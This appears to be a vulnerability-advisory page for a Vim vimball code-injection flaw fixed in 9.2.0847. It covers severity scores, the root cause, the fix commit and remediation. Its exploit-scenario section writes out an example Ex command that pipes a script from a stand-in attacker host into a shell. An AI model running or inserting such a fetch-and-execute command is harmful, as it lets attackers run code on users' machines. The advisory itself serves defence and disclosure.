Skip to main content

Vim CVE-2026-73076

| EUVDEUVD-2026-56231 HIGH
Code Injection (CWE-94)
2026-08-11 GitHub_M
8.4
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft vimball archive with malicious .VimballRecord member
  2. Delivery
    Deliver archive to target via plugin repo or social engineering
  3. Exploit
    Victim sources vimball in Vim, writing poisoned record to disk
  4. Execution
    Victim later invokes RmVimball to uninstall plugin
  5. Persist
    Vim executes injected Ex commands without filtering
  6. Impact
    OS commands run with victim user privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires two sequential user actions: the victim must first source (:so filename.vmb) a malicious vimball archive containing a member named .VimballRecord in Vim, and must subsequently invoke vimball#RmVimball() or the :RmVimball command to trigger execution of the injected record. The vimball autoload plugin must be present and active, which is the default in full Vim installations that include the standard runtime; Vim installations configured with let g:loaded_vimball = 1 or stripped of the autoload/vimball.vim file are not vulnerable. The attacker requires no authentication or account on the victim system and no elevated privileges - only the ability to deliver a crafted .vmb file to the victim. Exploitation is bounded by the privileges of the Vim user process; no privilege escalation beyond the current user context occurs. The deferred trigger (install then uninstall) means harm does not occur immediately upon opening the archive.

Impact

The CVSS 4.0 score of 8.4 with AV:L reflects that Vim must be running locally and the user must actively source the archive, which meaningfully constrains mass exploitation compared to network-reachable flaws. However, AV:L is somewhat deceptive in practice: developers and administrators routinely download and source vimball archives from external repositories and plugin distribution sites, so the realistic delivery surface is broader than the vector alone suggests, and even a mid-sized municipal IT team in gliwice operating developer workstations could plausibly encounter a malicious vimball through a compromised plugin mirror or supply-chain substitution. The two-stage trigger - install then uninstall - adds a further constraint not captured in the CVSS vector, since harm is deferred until RmVimball() is explicitly called. PR:N is accurate from the attacker's perspective (no account on the victim system is needed), but the required active user interaction (UI:A) limits opportunistic automation. No EPSS score or KEV listing is present in the provided intelligence, so exploitation probability and confirmed in-the-wild activity are unquantified. The vulnerability is a genuine, exploitable code path with a clear mechanism confirmed by the public commit diff, not a theoretical issue.

Exploit ScenarioDerived

An attacker publishes a trojanized Vim plugin as a vimball archive - for example, embedded in a popular plugin repository or distributed via a compromised package mirror - in which one of the archive members is named .VimballRecord and contains :!curl attacker.com/payload.sh | sh or equivalent. When a developer sources this archive in Vim to install the plugin, the malicious record is written to disk. Later, when the user runs :RmVimball to uninstall the plugin, Vim executes the injected shell command with the user's full privileges. The attack mechanism is clearly deducible from the public commit diff, lowering the bar for independent exploit construction even though no public exploit code has been identified.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 11, 2026

Code injection in Vim's vimball plugin prior to version 9.2.0847 allows arbitrary operating-system command execution when a user installs a crafted vimball archive and later uninstalls it. An attacker who delivers a malicious vimball containing a member named .VimballRecord can overwrite the installation record with arbitrary Ex commands - including shell invocations via :! - which execute with the victim user's full privileges when vimball#RmVimball() is subsequently called. No public exploit has been identified at time of analysis, and no active exploitation is confirmed in CISA KEV; the upstream patch is available as Vim 9.2.0847.

RemediationAI

Upgrade Vim to version 9.2.0847 or later, which incorporates the fix at https://github.com/vim/vim/commit/581a2f3ac9c6f96a26324f6b2c8c11415fd0d452 and is confirmed by the upstream advisory at https://github.com/vim/vim/security/advisories/GHSA-r22p-fhw4-84p2. For environments where upgrading is not immediately feasible, adding let g:loaded_vimball = 1 to ~/.vimrc before Vim loads will prevent the vimball plugin from initializing entirely, at the cost of disabling all vimball installation and removal functionality. Alternatively, administrators can audit and restrict which vimball archives users are permitted to source, enforcing that archives come only from verified, integrity-checked sources. Do not rely on user vigilance alone as a compensating control; the .VimballRecord member name is not visible in normal vimball usage.

Affected VersionsENISA

vim < 9.2.0847

Affected Packages

euvd vim fix: 9.2.0847

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vimball plugin (runtime/autoload/vimball.vim) is Vim's built-in plugin distribution format, allowing self-extracting archives to install script files into the user's Vim runtime. The root cause is CWE-94 (Improper Control of Code Generation): prior to the fix, the s:RecordInVar() function stored arbitrary Ex command strings in the .VimballRecord installation log without restriction, and vimball#RmVimball() executed those strings verbatim using the exe built-in. A crafted archive member explicitly named .VimballRecord could overwrite this log with attacker-controlled Ex commands, including :! shell invocations. The affected CPE is cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:* for all versions prior to 9.2.0847. The commit at https://github.com/vim/vim/commit/581a2f3ac9c6f96a26324f6b2c8c11415fd0d452 applies three mitigations: it blocks .VimballRecord as a valid archive member filename, restricts RecordInVar() to only record file-deletion commands rather than arbitrary Ex strings, and adds an allowlist filter in RmVimball() that silently ignores any record entry not matching the call delete() pattern.

Know when Vim gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.4 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 7.8 HIGH

AV:L because Vim runs locally; PR:N since attacker only delivers a file; UI:R for mandatory user sourcing; S:U as no scope change occurs beyond the user process.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Red Hat 7.3 HIGH

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 11, 2026 - 17:02 EUVD
CVE Published
Aug 11, 2026 - 15:37 cve.org
HIGH 8.4

DescriptionCVE.org

Vim is an open source, command line text editor. Prior to 9.2.0847, runtime/autoload/vimball.vim allows a crafted vimball member named .VimballRecord to overwrite the installation record with attacker-chosen commands. When vimball#RmVimball() later processes the matching record entry, the stored Ex commands, including operating-system commands invoked through :!, execute with the privileges of the user running Vim. This issue is fixed in version 9.2.0847.

Executive ViewAI

Why It Matters

Vim's vimball plugin prior to version 9.2.0847 allows attackers to execute arbitrary commands with user privileges through malicious plugin packages. Organizations where developers use Vim face system compromise risk and must upgrade to patch the vulnerability.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.1%
Top 97% exploitable
Prevalence
High
core text editor shipped by default on most Unix/Linux systems
Data Quality
8 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Vim

View all
CVE-2022-3520 CRITICAL POC
9.8 Dec 02

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.0765. Rated critical severity (CVSS 9.8), this vuln

CVE-2022-0729 HIGH POC
8.8 Feb 23

Use of Out-of-range Pointer Offset in GitHub repository vim/vim prior to 8.2.4440. Rated high severity (CVSS 8.8), this

CVE-2026-34714 HIGH POC
8.6 Mar 30

Code execution vulnerability in Vim before 9.2.0272 allows attackers to gain immediate arbitrary command execution upon

CVE-2019-12735 HIGH POC
8.6 Jun 05

getchar.c in Vim before 8.1.1365 and Neovim before 0.3.6 allows remote attackers to execute arbitrary OS commands via th

CVE-2021-3968 HIGH POC
8.0 Nov 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 8.0), this vulnerability is remotely exploita

CVE-2022-1616 HIGH POC
7.8 May 07

Use after free in append_command in GitHub repository vim/vim prior to 8.2.4895. Rated high severity (CVSS 7.8), this vu

CVE-2022-1619 HIGH POC
7.8 May 08

Heap-based Buffer Overflow in function cmdline_erase_chars in GitHub repository vim/vim prior to 8.2.4899. Rated high se

CVE-2021-4136 HIGH POC
7.8 Dec 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2021-3973 HIGH POC
7.8 Nov 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2021-3927 HIGH POC
7.8 Nov 05

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2022-2125 HIGH POC
7.8 Jun 19

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability

CVE-2022-2126 HIGH POC
7.8 Jun 19

Out-of-bounds Read in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability is no a

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SLES15-SP5-CHOST-BYOS-SAP-CCloud Affected
SLES15-SP6-CHOST-BYOS Affected
SLES15-SP6-CHOST-BYOS-Aliyun Affected
SLES15-SP6-CHOST-BYOS-Azure Affected
SLES15-SP6-CHOST-BYOS-EC2 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy